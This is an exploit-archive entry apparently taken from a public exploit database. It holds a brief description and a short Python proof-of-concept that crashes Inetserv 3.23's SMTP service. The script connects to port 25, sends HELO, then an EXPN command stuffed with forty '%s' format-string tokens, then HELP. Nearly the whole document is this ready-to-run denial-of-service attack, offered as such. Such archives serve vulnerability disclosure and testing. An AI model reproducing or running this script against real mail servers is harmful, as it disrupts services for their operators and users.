Inetserv version 3.23 suffers from a SMTP denial of service vulnerability.
8fe11631d405e34be8c2f4953aa9ea412cb29ccb8bf1c5c023e9173ffeaad6dd
#!/usr/bin/python
# Exploit Title: Inetserv 3.23 SMTP DoS
# Date: 1/22/2011
# Author: G13
# Software Link: http://www.avtronics.net/inetserv.php
# Version: 3.23
# Tested on: WinXP SP0 Eng
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
buffer = "EXPN " + "%s" * 40 + "\r\n"
s.connect(('127.0.0.1',25))
data=s.recv(1024)
s.send("HELO\r\n")
s.send(buffer)
s.send("HELP\r\n")
s.close()